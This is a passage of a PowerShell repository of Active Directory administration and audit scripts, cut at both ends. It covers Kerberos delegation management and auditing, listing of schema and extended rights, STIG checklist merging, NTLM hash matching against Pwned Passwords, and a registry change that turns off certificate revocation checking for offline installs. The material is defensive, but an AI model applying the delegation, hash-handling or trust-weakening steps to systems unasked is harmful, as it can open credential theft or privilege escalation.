31 | Manage-WindowsAdminCenterDelgation.ps1 -List -Identity "OU=Servers,DC=corp,DC=Domain,DC=Com"
32 | Get all the enabled servers in the given OU, and lists
33 | the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.
34 |
35 | .NOTES
36 | AUTHOR: Michael Waterman
37 | Blog: https://michaelwaterman.nl
38 | LASTEDIT: 2024.06.11
39 | #>
40 | [CmdletBinding(DefaultParameterSetName="Default")]
41 | param(
42 | [Parameter(
43 | Mandatory=$true,
44 | ParameterSetName = 'Default'
45 | )]
46 | [string]$Computername,
47 | [Parameter(
48 | Mandatory=$True
49 | )]
50 | [string]$Identity,
51 | [Parameter(
52 | Mandatory=$true,
53 | ParameterSetName = 'Clean'
54 | )]
55 | [switch]$Clean=$false,
56 | [Parameter(
57 | Mandatory=$true,
58 | ParameterSetName = 'List'
59 | )]
60 | [switch]$List=$false
61 | )
62 |
63 | # Get all the servers from the provided OU
64 | $Servers = Get-ADComputer -Filter "OperatingSystem -Like '*Windows Server*' -and Enabled -eq 'True'" `
65 | -SearchBase $Identity -Properties "msDS-AllowedToActOnBehalfOfOtherIdentity"
66 |
67 | # Only get the computer object of the wac server when setting the attribute.
68 | If($Computername){
69 | $WindowsAdminCenter = Get-ADComputer -Identity $Computername
70 | }
71 |
72 |
73 | # Set, list or clean the resource-based kerberos constrained delegation for each node
74 | foreach ($Server in $Servers){
75 | If($Clean){
76 | Set-ADComputer -Identity $Server -Clear "msDS-AllowedToActOnBehalfOfOtherIdentity" -Verbose
77 | }
78 |
79 | If($Computername)
80 | {
81 | Set-ADComputer -Identity $Server -PrincipalsAllowedToDelegateToAccount $WindowsAdminCenter -Verbose
82 | }
83 |
84 | if($List){
85 | Write-Host -ForegroundColor Green ($server.DNSHostName)
86 | if($server.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access){
87 | $server.'msDS-AllowedToActOnBehalfOfOtherIdentity'.Access
88 | } else {
89 | Write-Host -ForegroundColor Red " No delegation was found for this host."
90 | }
91 | }
92 | }
--------------------------------------------------------------------------------
/Scripts/Load-Module-Function.ps1:
--------------------------------------------------------------------------------
1 | function Load-Module
2 | {
3 | param (
4 | [parameter(Mandatory = $true)][string] $Module
5 | )
6 |
7 | $retVal = $false
8 |
9 | # Check if the module is locally available
10 | $AvailableModules = Get-Module -ListAvailable -name $Module
11 |
12 | # If the module is not locally available, look in the online repositories
13 | If (!$AvailableModules)
14 | {
15 | #Check if the dependend package provider is already installed (requirement)
16 | $PSRepositories = (Get-PSRepository).PackageManagementProvider
17 |
18 | # Install the package providers for the repositories
19 | foreach ($PSRepository in $PSRepositories)
20 | {
21 | # List the package provider and install it
22 | $PSRepositoryPackageProvider = Get-PackageProvider | where name -EQ $PSRepository
23 | if (!$PSRepositoryPackageProvider)
24 | {
25 | try
26 | {
27 | Install-PackageProvider $PSRepository -force -ErrorAction SilentlyContinue
28 | if ($?)
29 | {
30 | $retVal = $true
31 | }
32 | }
33 | # On error set the return value to false
34 | catch
35 | {
36 | $retVal = $false
37 | }
38 |
39 | }
40 | }
41 |
42 | # Check if the module is available online after installing the package providers
43 | $AvailableModules = Find-Module -name $Module -ErrorAction SilentlyContinue
44 | If ($AvailableModules){
45 |
46 | #Install the online module
47 | try
48 | {
49 | Install-Module -name $Module -force -ErrorAction SilentlyContinue
50 | if ($?)
51 | {
52 | $retVal = $true
53 | }
54 | }
55 | # On error set the return value to false
56 | catch
57 | {
58 | $retVal = $false
59 | }
60 |
61 |
62 | #try to import the module
63 | try
64 | {
65 | Import-Module -name $Module -ErrorAction SilentlyContinue
66 | if ($?)
67 | {
68 | $retVal = $true
69 | }
70 | }
71 | # On error set the return value to false
72 | catch
73 | {
74 | $retVal = $false
75 | }
76 |
77 |
78 | } else {
79 |
80 | Write-Host "Module could not be found" -ForegroundColor Red
81 | $retVal = $false
82 | }
83 |
84 | # If the module is locally available, try to load it
85 | } Else {
86 | #try to import the module
87 | try
88 | {
89 | Import-Module -name $Module
90 | if ($?)
91 | {
92 | $retVal = $true
93 | }
94 | }
95 | # On error set the return value to false
96 | catch
97 | {
98 | $retVal = $false
99 | }
100 | }
101 | return $retval
102 | }
--------------------------------------------------------------------------------
/Scripts/Get-ADExtendedRights.ps1:
--------------------------------------------------------------------------------
1 | #Requires -Version 5.1
2 | #Requires -modules ActiveDirectory
3 |
4 | <#PSScriptInfo
5 | .VERSION 1.0
6 | .GUID 0a841ae8-5b4c-4b39-8793-0d9f7137ff57
7 | .AUTHOR Michael Waterman
8 | .COMPANYNAME None
9 | .COPYRIGHT
10 | .TAGS Active Directory, Extended Rights
11 | #>
12 |
13 | <#
14 | .SYNOPSIS
15 | Lists all the Extended Rights in Active Directory
16 |
17 | .DESCRIPTION
18 | Filter Extended rights in Active Directory . The script can also display and export all the
19 | extended rights to a CSV file.
20 |
21 | .EXAMPLE
22 | Get-ADExtendedRights.ps1 -Name DS-Replication-Get-Changes-All
23 | Retreive an extended right from Active Directory by name
24 |
25 | .EXAMPLE
26 | Get-ADExtendedRights.ps1 -rightsGUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
27 | Retreive an extended right from Active Directory by rightsGUID
28 |
29 | .EXAMPLE
30 | Get-ADExtendedRights.ps1 -All
31 | List all extended rights in Active Directory.
32 |
33 | .EXAMPLE
34 | Get-ADExtendedRights.ps1 -All -Path .\All.CSV
35 | Retreives all the Active Directory Extended Rights and exports them
36 | to a CSV file
37 |
38 | .NOTES
39 | AUTHOR: Michael Waterman
40 | Blog: https://michaelwaterman.nl
41 | LASTEDIT: 2023.12.24
42 | #>
43 |
44 |
45 | [CmdletBinding(DefaultParameterSetName="Default")]
46 | param(
47 | [Parameter(
48 | Mandatory=$True,
49 | ParameterSetName = 'Name')]
50 | [string]$Name,
51 | [Parameter(
52 | Mandatory=$True,
53 | ParameterSetName = 'rightsGUID')]
54 | [string]$rightsGUID,
55 | [Parameter(
56 | Mandatory=$True,
57 | ParameterSetName = 'Default')]
58 | [switch]$All,
59 | [Parameter(
60 | Mandatory=$False,
61 | ParameterSetName = 'Default')]
62 | [string]$Path
63 | )
64 |
65 |
66 | #Retreive All Extended Rights
67 | ##############################################################################################
68 | $ExtendedRights = Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).configurationNamingContext)" `
69 | -LDAPFilter '(objectClass=controlAccessRight)' `
70 | -Properties name, rightsGUID
71 | ##############################################################################################
72 |
73 |
74 | # Retreive by Name
75 | ##############################################################################################
76 | If($Name){
77 | $ExtendedRights | Where-Object Name -Like "*$($Name)*" | `
78 | Select Name, rightsGUID
79 | }
80 | ##############################################################################################
81 |
82 |
83 | # Retreive by rightsGUID
84 | ##############################################################################################
85 | if($rightsGUID){
86 | $ExtendedRights | Where-Object rightsGUID -Like "*$($rightsGUID)*" | `
87 | Select Name, rightsGUID
88 | }
89 | ##############################################################################################
90 |
91 |
92 | # Select All
93 | ##############################################################################################
94 | if($All){
95 | If($Path){
96 | $ExtendedRights | Select Name, rightsGUID | Export-Csv -Path $Path -Delimiter ';' -NoTypeInformation
97 | } Else {
98 | $ExtendedRights | Select Name, rightsGUID
99 | }
100 | }
101 | ##############################################################################################
--------------------------------------------------------------------------------
/Modules/Test-TCPConnection/Test-TCPConnection.ps1:
--------------------------------------------------------------------------------
1 | function Test-TCPConnection{
2 |
3 | [cmdletbinding(
4 | DefaultParameterSetName='default'
5 | )]
6 | Param(
7 | [parameter(
8 | ValueFromPipeline = $true,
9 | ValueFromPipelineByPropertyName = $true,
10 | ParameterSetName='default',
11 | Mandatory=$true,
12 | Position = 0
13 | )]
14 | [parameter(
15 | ValueFromPipeline = $true,
16 | ValueFromPipelineByPropertyName = $true,
17 | ParameterSetName='service',
18 | Mandatory=$true,
19 | Position = 0
20 | )]
21 | [string]$ComputerName,
22 |
23 | [parameter(
24 | ParameterSetName='default',
25 | Mandatory=$true)]
26 | [int]$Port,
27 |
28 | [parameter(
29 | ParameterSetName='service',
30 | Mandatory=$true)]
31 | [ValidateSet("SSH", "SMTP", "DNS", "HTTP","HTTPS", "SMB", "RDP", "WINRM", "WINRMSSL")]
32 | [string]$Service,
33 |
34 | [parameter(
35 | Mandatory=$false)]
36 | [int]$Timeout = 80
37 |
38 | )
39 |
40 | if ($PSCmdlet.ParameterSetName -eq 'service')
41 | {
42 | switch ( $service )
43 | {
44 | "SSH" {$port = "22"}
45 | "SMTP" {$port = "25"}
46 | "DNS" {$port = "53"}
47 | "http" {$port = "80"}
48 | "https" {$port = "443"}
49 | "SMB" {$Port = "445"}
50 | "RDP" {$Port = "3389"}
51 | "WINRM" {$port = "5985"}
52 | "WINRMSSL" {$port = "5986"}
53 | }
54 | }
55 |
56 |
57 | try {
58 |
59 | Write-Verbose "Resolving IP Address"
60 | $IPAddress = ([System.Net.Dns]::GetHostAddresses(“$ComputerName“)).IPAddressToString
61 |
62 | Write-Verbose "Create Net Socket Object"
63 | $TCPClient = New-Object System.Net.Sockets.TcpClient
64 |
65 | Write-Verbose "Connect to host"
66 | $TCPClient.BeginConnect($ComputerName, $port, $requestCallback, $state) | Out-Null
67 |
68 | Write-Verbose "Wait for the connection to establish, default wait time is 80 Milliseconds"
69 | Start-Sleep -Milliseconds $timeOut
70 |
71 | Write-Verbose "Checking if connection is establish"
72 | if ($TCPClient.Connected) {
73 | Write-Verbose "Connection succesful"
74 | $open = $true
75 | }
76 | else {
77 | Write-Verbose "Connection unsuccesful"
78 | $open = $false
79 | }
80 |
81 | Write-Verbose "Close the connection"
82 | $TCPClient.Close()
83 |
84 | Write-Verbose "Constructing Object Properties"
85 | $Properties = @{ComputerName = $ComputerName
86 | PortNumber = $port
87 | IsConnected = $open
88 | IPAddress = $IPAddress
89 | }
90 |
91 | }
92 |
93 | Catch {
94 |
95 | Write-Verbose "Constructing Object Properties after failure"
96 | $Properties = @{ComputerName = $ComputerName
97 | Port = $port
98 | IsConnection = $false
99 | IPAddress = $false
100 | }
101 |
102 | }
103 |
104 | Finally {
105 |
106 | Write-Verbose "Creating return object with properties"
107 | $ReturnObject = New-Object -TypeName PSObject -Property $Properties
108 |
109 | }
110 |
111 | return $ReturnObject
112 |
113 | }
--------------------------------------------------------------------------------
/Scripts/Match-ADHashes.ps1:
--------------------------------------------------------------------------------
1 | function Match-ADHashes {
2 |
3 | <#
4 | .NAME
5 | Match-ADHashes
6 |
7 | .SYNOPSIS
8 | Matches AD NTLM Hashes against other list of hashes
9 |
10 | .DESCRIPTION
11 | Builds a hashmap of AD NTLM hashes/usernames and iterates through a second list of hashes checking for the existence of each entry in the AD NTLM hashmap
12 | -Outputs results as object including username, hash, and frequency in database
13 | -Frequency is included in output to provide additional context on the password. A high frequency (> 5) may indicate password is commonly used and not necessarily linked to specific user's password re-use.
14 |
15 | .PARAMETER ADNTHashes
16 | File Path to 'Hashcat' formatted .txt file (username:hash)
17 |
18 | .PARAMETER HashDictionary
19 | File Path to 'Troy Hunt Pwned Passwords' formatted .txt file (HASH:frequencycount)
20 |
21 | .PARAMETER Verbose
22 | Provide run-time of function in Verbose output
23 |
24 | .EXAMPLE
25 | $results = Match-ADHashes -ADNTHashes C:\temp\adnthashes.txt -HashDictionary -C:\temp\Hashlist.txt
26 |
27 | .OUTPUTS
28 | Array of HashTables with properties "User", "Frequency", "Hash"
29 | User Frequency Hash
30 | ---- --------- ----
31 | {TestUser2, TestUser3} 20129 H1H1H1H1H1H1H1H1H1H1H1H1H1H1H1H1
32 | {TestUser1} 1 H2H2H2H2H2H2H2H2H2H2H2H2H2H2H2H2
33 |
34 | .NOTES
35 | If you are seeing results for User truncated as {user1, user2, user3...} consider modifying the Preference variable $FormatEnumerationLimit (set to -1 for unlimited)
36 |
37 | =INSPIRATION / SOURCES / RELATED WORK
38 | -DSInternal Project https://www.dsinternals.com
39 | -Checkpot Project https://github.com/ryhanson/checkpot/
40 |
41 | =FUTURE WORK
42 | -Performance Testing, optimization
43 | -Other Languages (golang?)
44 |
45 | .LINK
46 | https://github.com/DGG-IT/Match-ADHashes/
47 |
48 | #>
49 |
50 | param(
51 | [Parameter(Mandatory = $true)]
52 | [System.IO.FileInfo] $ADNTHashes,
53 |
54 | [Parameter(Mandatory = $true)]
55 | [System.IO.FileInfo] $HashDictionary
56 | )
57 | #>
58 |
59 | process {
60 | $stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
61 |
62 | #Declare and fill new hashtable with ADNThashes. Converts to upper case to
63 | $htADNTHashes = @{}
64 | Import-Csv -Delimiter ":" -Path $ADNTHashes -Header "User","Hash" | % {$htADNTHashes[$_.Hash.toUpper()] += @($_.User)}
65 |
66 | #Create empty output object
67 | $mrMatchedResults = @()
68 |
69 | #Create Filestream reader
70 | $fsHashDictionary = New-Object IO.Filestream $HashDictionary,'Open','Read','Read'
71 | $frHashDictionary = New-Object System.IO.StreamReader($fsHashDictionary)
72 |
73 | #Iterate through HashDictionary checking each hash against ADNTHashes
74 | while (($lineHashDictionary = $frHashDictionary.ReadLine()) -ne $null) {
75 | if($htADNTHashes.ContainsKey($lineHashDictionary.Split(":")[0].ToUpper())) {
76 | $foFoundObject = [PSCustomObject]@{
77 | User = $htADNTHashes[$lineHashDictionary.Split(":")[0].ToUpper()]
78 | Frequency = $lineHashDictionary.Split(":")[1]
79 | Hash = $linehashDictionary.Split(":")[0].ToUpper()
80 | }
81 | $mrMatchedResults += $foFoundObject
82 | }
83 | }
84 | $stopwatch.Stop()
85 | Write-Verbose "Function Match-ADHashes completed in $($stopwatch.Elapsed.TotalSeconds) Seconds"
86 | }
87 |
88 | end {
89 | $mrMatchedResults
90 | }
91 | }
92 |
--------------------------------------------------------------------------------
/Scripts/Merge-StigCheckLists.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .Synopsis
3 | STIG Checklist merge script
4 |
5 | .DESCRIPTION
6 | STIG Checklist merge script
7 |
8 | Release date: 20 Dec 2016
9 | Description: This script merges two STIG Checklist (.chk) based on vulnerability ID, it will copy the status, details, comment and severity.
10 | Author: Michael Waterman
11 |
12 | .Parameter Source
13 | provide a valid path to the source checklist file.
14 |
15 | .Parameter Target
16 | provide a valid path to the target checklist file.
17 |
18 | .EXAMPLE
19 | Merge-Checklist -source -target
20 | #>
21 |
22 |
23 | # Parameter input
24 | ##############################################################################################
25 | [CmdletBinding(DefaultParameterSetName="None")]
26 | param(
27 |
28 | [Parameter(Mandatory=$true)]
29 | [string]$Source,
30 | [Parameter(Mandatory=$true)]
31 | [string]$Target
32 |
33 | )
34 | ##############################################################################################
35 |
36 |
37 | #Remove any " or ' in the path
38 | ##############################################################################################
39 | if ($Source -match "`"") {$Source = $Source -replace "`"", ""}
40 | if ($Target -match "`"") {$Target = $Target -replace "`"", ""}
41 | if ($Source -match "`'") {$Source = $Source -replace "`'", ""}
42 | if ($Target -match "`'") {$Target = $Target -replace "`'", ""}
43 | ##############################################################################################
44 |
45 |
46 | #Check Paths
47 | ##############################################################################################
48 | if (!(Test-Path $Source))
49 | {
50 | Write-Host 'Source can not be found, please check if the path is correct and the file exists' -ForegroundColor Yellow ; return
51 | }
52 |
53 | if (!(Test-Path $Target))
54 | {
55 | Write-Host 'Target can not be found, please check if the path is correct and the file exists' -ForegroundColor Yellow ; return
56 | }
57 | ##############################################################################################
58 |
59 |
60 | #Create XML Object
61 | $XdocSource = New-Object xml
62 | $xdocTarget = New-Object xml
63 |
64 | #Preserve the whitespace in the XML file
65 | $XdocSource.PreserveWhitespace = $true
66 | $xdocTarget.PreserveWhitespace = $true
67 |
68 | #Load the documents
69 | $XdocSource.Load($Source)
70 | $xdocTarget.Load($Target)
71 |
72 |
73 | #List all the vulnerability items in the checklist and use them as a unique key
74 | foreach ($item in $XdocSource.SelectNodes("//CHECKLIST/STIGS/iSTIG/VULN/STIG_DATA[VULN_ATTRIBUTE='Vuln_Num']/ATTRIBUTE_DATA"))
75 | {
76 | #Get the text and convert from xml format to string
77 | $item = $item.InnerText
78 |
79 | #if the vulnerability id with the target exists within the attribute_data element replace the text
80 | if ($xdocTarget.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN/STIG_DATA[ATTRIBUTE_DATA='$item']/ATTRIBUTE_DATA").InnerText)
81 | {
82 | #Copy the status
83 | $xdocTarget.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/STATUS").InnerText = $XdocSource.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/STATUS").InnerText
84 |
85 |
86 | #Copy the finding details
87 | $xdocTarget.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/FINDING_DETAILS").InnerText = $XdocSource.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/FINDING_DETAILS").InnerText
88 |
89 |
90 | #Copy the comment
91 | $xdocTarget.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/COMMENTS").InnerText = $XdocSource.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/COMMENTS").InnerText
92 |
93 |
94 | #Copy the severity
95 | $xdocTarget.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/SEVERITY_OVERRIDE").InnerText = $XdocSource.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/SEVERITY_OVERRIDE").InnerText
96 |
97 |
98 | #Copy the severity justification
99 | $xdocTarget.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/SEVERITY_JUSTIFICATION").InnerText = $XdocSource.SelectSingleNode("//CHECKLIST/STIGS/iSTIG/VULN[STIG_DATA/ATTRIBUTE_DATA='$item']/SEVERITY_JUSTIFICATION").InnerText
100 | }
101 | }
102 |
103 | #Convert the file to UTF-8
104 | $utf8 = New-Object System.Text.UTF8Encoding($false)
105 | $SaveFile = New-Object System.IO.StreamWriter($Target, $False, $utf8)
106 |
107 | #Save the target file
108 | $xdocTarget.Save($SaveFile)
109 | $SaveFile.Close()
--------------------------------------------------------------------------------
/Scripts/Get-ADSchemaClassAndAttributes.ps1:
--------------------------------------------------------------------------------
1 | #Requires -Version 5.1
2 | #Requires -modules ActiveDirectory
3 |
4 | <#PSScriptInfo
5 | .VERSION 1.0
6 | .GUID 802b4150-c346-4d63-a852-73b87f67b7a5
7 | .AUTHOR Michael Waterman
8 | .COMPANYNAME None
9 | .COPYRIGHT
10 | .TAGS Active Directory, Schema
11 | #>
12 |
13 | <#
14 | .SYNOPSIS
15 | Filter the Active Directory Schema.
16 |
17 | .DESCRIPTION
18 | Filter the Active Directory Schema by Name (Displayes in ADSIEdit), LDAPDisplayName or
19 | by schemaIDGUID. The script can also display and export the entire Schema based on these
20 | attributes to a CSV file.
21 |
22 | .EXAMPLE
23 | Get-ADSchemaClassAndAttributes.ps1
24 |
25 |
26 | .EXAMPLE
27 | Get-ADSchemaClassAndAttributes.ps1 -Name ms-DS-Key-Credential-Link
28 | Retreives the schema attributes by name
29 |
30 | .EXAMPLE
31 | Get-ADSchemaClassAndAttributes.ps1 -LDAPDisplayName msDS-KeyCredentialLink
32 | Retreives the schema attributes by LDAPDisplayName
33 |
34 | .EXAMPLE
35 | Get-ADSchemaClassAndAttributes.ps1 -schemaIDGUID 5b47d60f-6090-40b2-9f37-2a4de88f3063
36 | Retreives the schema attributes and matches by provided GUID
37 |
38 | .EXAMPLE
39 | Get-ADSchemaClassAndAttributes.ps1 -All -Path .\All.CSV
40 | Retreives all the Active Directory Schema Attributes and Classes and exports them
41 | to a CSV file
42 |
43 | .NOTES
44 | AUTHOR: Michael Waterman
45 | Blog: https://michaelwaterman.nl
46 | LASTEDIT: 2023.12.24
47 | #>
48 |
49 | [CmdletBinding(DefaultParameterSetName="Default")]
50 | param(
51 | [Parameter(
52 | Mandatory=$True,
53 | ParameterSetName = 'Name')]
54 | [string]$Name,
55 | [Parameter(
56 | Mandatory=$True,
57 | ParameterSetName = 'LDAPDisplayName')]
58 | [string]$LDAPDisplayName,
59 | [Parameter(
60 | Mandatory=$True,
61 | ParameterSetName = 'schemaIDGUID')]
62 | [guid]$schemaIDGUID,
63 | [Parameter(
64 | Mandatory=$True,
65 | ParameterSetName = 'Default')]
66 | [switch]$All,
67 | [Parameter(
68 | Mandatory=$False,
69 | ParameterSetName = 'Default')]
70 | [string]$Path
71 | )
72 |
73 | #Retreive the Schema
74 | ##############################################################################################
75 | $SchemaObjects = Get-ADObject -LDAPFilter "(objectclass=*)" `
76 | -SearchBase $((Get-ADRootDSE).schemaNamingContext) `
77 | -Properties Name, LDAPDisplayName, schemaIDGUID | `
78 | Where-Object { ($_.ObjectClass -EQ "attributeSchema") -or ($_.ObjectClass -EQ "classSchema")}
79 | ##############################################################################################
80 |
81 |
82 | #Select by Name
83 | ##############################################################################################
84 | If($Name){
85 | $SchemaObjects | `
86 | Where Name -Like "*$($Name)*" | `
87 | Select Name, LDAPDisplayName,@{e={[System.Guid]$_.schemaIDGUID};l="schemaIDGUID"}
88 | }
89 | ##############################################################################################
90 |
91 |
92 | #Select by LDAPDisplayName
93 | ##############################################################################################
94 | If($LDAPDisplayName){
95 | $SchemaObjects | `
96 | Where LDAPDisplayName -Like "*$($LDAPDisplayName)*" | `
97 | Select Name, LDAPDisplayName,@{e={[System.Guid]$_.schemaIDGUID};l="schemaIDGUID"}
98 | }
99 | ##############################################################################################
100 |
101 |
102 | # Select by scemaIDGUID
103 | ##############################################################################################
104 | if($schemaIDGUID){
105 | ForEach ($Obj in $SchemaObjects ){
106 |
107 | If( $($Obj.schemaIDGuid -as [guid]).Guid -eq $schemaIDGUID.Guid ){
108 | $Obj | select Name, LDAPDisplayName, @{e={[System.Guid]$_.schemaIDGUID};l="schemaIDGUID"}
109 | }
110 | }
111 | }
112 | ##############################################################################################
113 |
114 |
115 | # Select All
116 | ##############################################################################################
117 | if($All){
118 | If($Path){
119 | $SchemaObjects | Select Name, LDAPDisplayName,@{e={[System.Guid]$_.schemaIDGUID};l="schemaIDGUID"} | Export-Csv -Path $Path -Delimiter ';' -NoTypeInformation
120 | } Else {
121 | $SchemaObjects | Select Name, LDAPDisplayName,@{e={[System.Guid]$_.schemaIDGUID};l="schemaIDGUID"}
122 | }
123 | }
124 | ##############################################################################################
125 |
--------------------------------------------------------------------------------
/Scripts/Search-KerbDelegatedAccounts.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .Synopsis
3 | Search the domain for accounts with Kerberos Delegation.
4 | .DESCRIPTION
5 | Kerberos Delegation is a security sensitive configuration. Especially
6 | full (unconstrained) delegation has significant impact: any service
7 | that is configured with full delegation can take any account that
8 | authenticates to it, and impersonate that account for any other network
9 | service that it likes. So, if a Domain Admin were to use that service,
10 | the service in turn could read the hash of KRBRTG and immediately
11 | effectuate a golden ticket. Etc :)
12 |
13 | This scripts searches AD for regular forms of delegation: full, constrained,
14 | and resource based. It dumps the account names with relevant information (flags)
15 | and adds a comment field for special cases. The output is a PSObject that
16 | you can use for further analysis.
17 |
18 | Note regarding resource based delegation: the script dumps the target
19 | services, not the actual service doing the delegation. I did not bother
20 | to parse that out.
21 |
22 | Main takeaway: chase all services with unconstrained delegation. If
23 | these are _not_ DC accounts, reconfigure them with constrained delegation,
24 | OR claim them als DCs from a security perspective. Meaning, that the AD
25 | team manages the service and the servers it runs on.
26 |
27 | .EXAMPLE
28 | .\Search-KerbDelegatedAccounts.ps1 | out-gridview
29 | .EXAMPLE
30 | .\Search-KerbDelegatedAccounts.ps1 -DN "ou=myOU,dc=sol,dc=local"
31 | .NOTES
32 | Version: 0.1 : first version.
33 | 0.2 : expanded LDAP filter and comment field.
34 | Author: Willem Kasdorp, Microsoft.
35 | Creation Date: 1/10/2016
36 | Last modified: 4/11/2017
37 | #>
38 |
39 | [CmdletBinding()]
40 | Param
41 | (
42 | # start the search at this DN. Default is to search all of the domain.
43 | [string]$DN = (Get-ADDomain).DistinguishedName
44 | )
45 |
46 | $SERVER_TRUST_ACCOUNT = 0x2000
47 | $TRUSTED_FOR_DELEGATION = 0x80000
48 | $TRUSTED_TO_AUTH_FOR_DELEGATION= 0x1000000
49 | $PARTIAL_SECRETS_ACCOUNT = 0x4000000
50 | $bitmask = $TRUSTED_FOR_DELEGATION -bor $TRUSTED_TO_AUTH_FOR_DELEGATION -bor $PARTIAL_SECRETS_ACCOUNT
51 |
52 | # LDAP filter to find all accounts having some form of delegation.
53 | # 1.2.840.113556.1.4.804 is an OR query.
54 | $filter = @"
55 | (&
56 | (servicePrincipalname=*)
57 | (|
58 | (msDS-AllowedToActOnBehalfOfOtherIdentity=*)
59 | (msDS-AllowedToDelegateTo=*)
60 | (UserAccountControl:1.2.840.113556.1.4.804:=$bitmask)
61 | )
62 | (|
63 | (objectcategory=computer)
64 | (objectcategory=person)
65 | (objectcategory=msDS-GroupManagedServiceAccount)
66 | (objectcategory=msDS-ManagedServiceAccount)
67 | )
68 | )
69 | "@ -replace "[\s\n]", ''
70 |
71 | $propertylist = @(
72 | "servicePrincipalname",
73 | "useraccountcontrol",
74 | "samaccountname",
75 | "msDS-AllowedToDelegateTo",
76 | "msDS-AllowedToActOnBehalfOfOtherIdentity"
77 | )
78 | Get-ADObject -LDAPFilter $filter -SearchBase $DN -SearchScope Subtree -Properties $propertylist -PipelineVariable account | ForEach-Object {
79 | $isDC = ($account.useraccountcontrol -band $SERVER_TRUST_ACCOUNT) -ne 0
80 | $fullDelegation = ($account.useraccountcontrol -band $TRUSTED_FOR_DELEGATION) -ne 0
81 | $constrainedDelegation = ($account.'msDS-AllowedToDelegateTo').count -gt 0
82 | $isRODC = ($account.useraccountcontrol -band $PARTIAL_SECRETS_ACCOUNT) -ne 0
83 | $resourceDelegation = $account.'msDS-AllowedToActOnBehalfOfOtherIdentity' -ne $null
84 |
85 | $comment = ""
86 | if ((-not $isDC) -and $fullDelegation) {
87 | $comment += "WARNING: full delegation to non-DC is not recommended!; "
88 | }
89 | if ($isRODC) {
90 | $comment += "WARNING: investigation needed if this is not a real RODC; "
91 | }
92 | if ($resourceDelegation) {
93 | # to count it using PS, we need the object type to select the correct function... broken, but there we are.
94 | $comment += "INFO: Account allows delegation FROM other server(s); "
95 | }
96 | if ($constrainedDelegation) {
97 | $comment += "INFO: constrained delegation service count: $(($account.'msDS-AllowedToDelegateTo').count); "
98 | }
99 |
100 | [PSCustomobject] @{
101 | samaccountname = $account.samaccountname
102 | objectClass = $account.objectclass
103 | uac = ('{0:x}' -f $account.useraccountcontrol)
104 | isDC = $isDC
105 | isRODC = $isRODC
106 | fullDelegation = $fullDelegation
107 | constrainedDelegation = $constrainedDelegation
108 | resourceDelegation = $resourceDelegation
109 | comment = $comment
110 | }
111 | }
112 |
113 |
--------------------------------------------------------------------------------
/Scripts/Set-OfflineInstallationMode.ps1:
--------------------------------------------------------------------------------
1 | <#
2 | .Synopsis
3 | Enables offline installation of signed binary files
4 |
5 | .DESCRIPTION
6 | This script enables the option to install signed software in an offline situation where a certificate revocation check cannot be done. This situation can occur when .Net hardening has been applied and revocation checking has been enforced. When these conditions are true, this error message appears: “0x800b010e – The revocation process could not continue – the certificate(s) could not be checked.”
7 |
8 | Script version: 1.0
9 | Script Author: Michael Waterman
10 |
11 | .Parameter -On
12 | Enables the offline installation of signed binary files.
13 |
14 | .Parameter -Off
15 | Reset the system to the default value.
16 |
17 | .Parameter -Force
18 | Force the -On parameter even if a previous backup exists.
19 |
20 | .EXAMPLE
21 |
22 | Set-OfflineInstallationMode.ps1 -On
23 |
24 | #>
25 |
26 |
27 | # Parameter input
28 | ##############################################################################################
29 | [CmdletBinding(DefaultParameterSetName="None")]
30 | param(
31 |
32 | [Parameter()]
33 | [switch]$On,
34 | [Parameter()]
35 | [switch]$Off,
36 | [Parameter()]
37 | [switch]$Force=$False
38 | )
39 | ##############################################################################################
40 |
41 | # Setting variables
42 | ##############################################################################################
43 | $BackupKey = 'HKCU:\Temp\Software Publishing'
44 | $BackupKeyRoot = 'HKCU:\Temp'
45 | $DefaultValue = "146432"
46 | $Key = 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing'
47 | $Name = 'State'
48 | ##############################################################################################
49 |
50 |
51 | # Script Functions
52 | ##############################################################################################
53 | function Test-RegistryValue {
54 |
55 | param (
56 |
57 | [parameter(Mandatory=$true)]
58 | [ValidateNotNullOrEmpty()]$Path,
59 |
60 | [parameter(Mandatory=$true)]
61 | [ValidateNotNullOrEmpty()]$Value
62 | )
63 |
64 |
65 | try{
66 | Get-ItemProperty -Path $Path -Name $Value -ErrorAction Stop
67 | return $true
68 | }
69 |
70 | catch{
71 | return $false
72 | }
73 | }
74 | ##############################################################################################
75 |
76 |
77 | # Main(on)
78 | ##############################################################################################
79 | If($on){
80 | If(!$Force){
81 | If(Test-RegistryValue -Path $BackupKey -Value $Name){
82 | write-host "Previous stored settings have been located, cannot continue. Use the -Force parameter to override." -ForegroundColor Yellow
83 | return
84 | }
85 | }
86 |
87 |
88 | If(Test-RegistryValue -Path $Key -Value $Name){
89 |
90 | #Create the backup registry location
91 | New-Item -Path $BackupKey -Force | Out-Null
92 |
93 | #Store the original value in the backup location
94 | New-ItemProperty -Path $BackupKey -Name $Name -PropertyType DWORD -Value (Get-ItemProperty -Path $Key | Select-Object -ExpandProperty $Name) -Force | Out-Null
95 |
96 | #Set the value to enable offline installation
